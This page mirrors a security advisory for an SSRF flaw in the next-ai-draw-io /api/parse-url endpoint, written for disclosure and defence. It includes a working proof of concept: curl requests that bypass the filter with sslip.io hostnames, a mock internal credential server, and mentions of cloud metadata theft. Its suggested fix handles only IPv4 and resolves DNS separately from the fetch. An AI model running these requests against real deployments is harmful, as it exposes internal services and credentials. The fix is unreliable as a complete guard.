Baike.dev
All toolsAI codingTrendingOpen sourceNewsSubmit
Log in
Back to tool/Back to issues
#921·next-ai-draw-io

SSRF in `POST /api/parse-url` via DNS Rebinding Bypass

Author: HK4zCziCreated Aug 14, 2026Updated Aug 14, 2026

SSRF in POST /api/parse-url via DNS Rebinding Bypass

  • Advisory: GHSA-wqcv-5qvx-vx75
  • Package: next-ai-draw-io (npm)
  • Ecosystem: npm
  • Affected versions: <= 0.4.16
  • Severity: High — 8.6
  • CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Weaknesses (CWE):

  • Reliance on Reverse DNS Resolution for a Security-Critical Action (CWE-350)
  • Server-Side Request Forgery (SSRF) (CWE-918)

Summary

The /api/parse-url endpoint fetches and extracts article content from a caller-supplied URL server-side. Its SSRF guard (isPrivateUrl() in lib/ssrf-protection.ts) performs string-only hostname matching — it never resolves DNS. An attacker can supply a hostname that passes the string check but resolves to an internal IP (e.g. 127-0-0-1.sslip.io → 127.0.0.1), causing the server to fetch arbitrary internal HTTP services and return their content to the caller. No authentication is required.


Details

Root Cause — lib/ssrf-protection.ts

isPrivateUrl() compares the URL's hostname against a hardcoded blocklist of string literals and IPv4 patterns:

typescript
// lib/ssrf-protection.ts — isPrivateUrl()
const hostname = url.hostname.toLowerCase()   // pure string, no DNS lookup

if (hostname === "localhost" || hostname === "127.0.0.1" || ...) return true

const ipv4Match = hostname.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/)
if (ipv4Match) { /* check RFC-1918 ranges */ }

// Hostnames that look public (e.g. "127-0-0-1.sslip.io") return false → allowed
return false

The function never calls dns.lookup() or any equivalent. A hostname such as 127-0-0-1.sslip.io passes every check and isPrivateUrl returns false (not private). The subsequent fetch() / extract() calls in the route do resolve DNS via the OS resolver, at which point the hostname resolves to 127.0.0.1 and the request reaches internal services.

Vulnerable Code Path — app/api/parse-url/route.ts

typescript
// app/api/parse-url/route.ts

// Line 34 — SSRF check: string-only, DNS never resolved
if (isPrivateUrl(url)) {
    return NextResponse.json({ error: "Cannot access private/internal URLs" }, { status: 400 })
}

// Line 43 — HEAD pre-check: fetch() resolves DNS here → reaches internal host
const headResponse = await fetch(url, { method: "HEAD", ... })

// Line 74 — Full extraction: downloads and returns page content to caller
article = await extract(url, undefined, { headers: { "User-Agent": USER_AGENT } })

The route converts the fetched HTML to Markdown via Turndown and returns it verbatim to the HTTP caller. This is a read SSRF with full content exfiltration — the attacker receives the internal page body in the response.

Additional Bypass Vectors

isPrivateUrl() is also bypassed by:

  • HTTP redirect chains — fetch() / extract() follow redirects without re-validating the destination IP. A public URL that 302-redirects to http://127.0.0.1:PORT/ bypasses the guard entirely.
  • Attacker-controlled DNS — any domain the attacker controls whose A record points to 127.0.0.1 or any RFC-1918 address bypasses string matching.
  • DNS rebinding — serve a public IP for the initial DNS TTL, then switch to 127.0.0.1 before the server's extract() call resolves.

Proof of Concept

Environment:

  • Application: [email protected], Next.js dev server on http://localhost:6002
  • Internal target: plain HTTP server bound exclusively to 127.0.0.1:9099 serving a secret credential token — unreachable from outside
  • DNS bypass: sslip.io (public DNS; 127-0-0-1.sslip.io resolves to 127.0.0.1)
  • No authentication header required

Step 1 — Start the internal target

Simulates an internal admin / metadata service:

bash
node -e "
const http = require('node:http')
const SECRET = 'SSRF_PROOF_2f9c7a1e-INTERNAL-METADATA-TOKEN'
http.createServer((req, res) => {
  console.log('[HIT]', req.method, req.url)
  res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' })
  res.end(\`<!DOCTYPE html><html><head><meta charset='utf-8'>
<title>INTERNAL ADMIN — Cloud Credentials</title></head><body><article>
<h1>Internal Infrastructure Console</h1>
<p>Active cloud credential token: \${SECRET}.</p>
</article></body></html>\`)
}).listen(9099, '127.0.0.1', () => console.log('Internal target listening on 127.0.0.1:9099'))
"

Step 2 — Control A: raw loopback IP is correctly blocked

bash
curl -s -X POST http://127.0.0.1:6002/api/parse-url \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9099/"}'
json
{"error":"Cannot access private/internal URLs"}

Step 3 — Control B: localhost is correctly blocked

bash
curl -s -X POST http://127.0.0.1:6002/api/parse-url \
  -H "Content-Type: application/json" \
  -d '{"url":"http://localhost:9099/"}'
json
{"error":"Cannot access private/internal URLs"}

Step 4 — Exploit: sslip.io DNS bypass

bash
curl -s -X POST http://127.0.0.1:6002/api/parse-url \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127-0-0-1.sslip.io:9099/"}'

Response (HTTP 200):

json
{
  "title": "INTERNAL ADMIN — Cloud Credentials",
  "content": "## Internal Infrastructure Console\n\nActive cloud credential token: SSRF\\_PROOF\\_2f9c7a1e\\-INTERNAL\\-METADATA\\-TOKEN...",
  "charCount": 512
}

PoC screenshot

The server fetched http://127.0.0.1:9099/ and returned the internal page content — including the secret credential token — to the unauthenticated attacker. The internal target's console prints [HIT] GET /, confirming the Next.js server originated the request.

Note: extract() converts HTML to Markdown via Turndown, which backslash-escapes characters like _ and -. Stripping backslashes from the response recovers the exact original token.


Impact

Dimension Detail
Who is affected Any deployment of next-ai-draw-io reachable by an attacker, including developer machines and cloud-hosted instances
Authentication required None — the endpoint is publicly accessible
What an attacker can read AWS / GCP / Azure instance metadata (169.254.169.254) to steal IAM credentials; internal admin panels and config APIs; any HTTP service on 127.0.0.1 or RFC-1918 addresses
Blind SSRF? No — full content of internal HTTP responses is returned verbatim to the attacker

Recommended Fix

Fix 1 — Resolve DNS before validating (primary fix)

Replace string-only hostname validation with post-resolution IP validation:

typescript
import { promises as dns } from "node:dns"

async function isPrivateUrlSafe(urlString: string): Promise<boolean> {
    const url = new URL(urlString)
    const hostname = url.hostname

    // Fast path for obvious string matches
    if (isPrivateHostname(hostname)) return true

    // Resolve DNS and validate every returned address
    try {
        const addresses = await dns.lookup(hostname, { all: true })
        return addresses.some(({ address }) => isPrivateIp(address))
    } catch {
        return true // DNS failure → block
    }
}

function isPrivateIp(ip: string): boolean {
    const parts = ip.split(".").map(Number)
    const [a, b] = parts
    return (
        a === 127 || a === 10 ||
        (a === 172 && b >= 16 && b <= 31) ||
        (a === 192 && b === 168) ||
        (a === 169 && b === 254)
    )
}

Fix 2 — Block redirect chains from resolving to private IPs

Disable automatic redirect following and validate each hop manually:

typescript
// Disable automatic redirect following and validate each hop
fetch(url, { redirect: "manual" })

Affected products

  • Ecosystem: npm
  • Package name: next-ai-draw-io
  • Affected versions: <= 0.4.16
  • Patched versions: (pending)

Credits

  • @HK4zCzi (Hồ Việt Khánh) — Reporter

Source: DayuanJiang/next-ai-draw-io

View original on GitHubView discussion on GitHub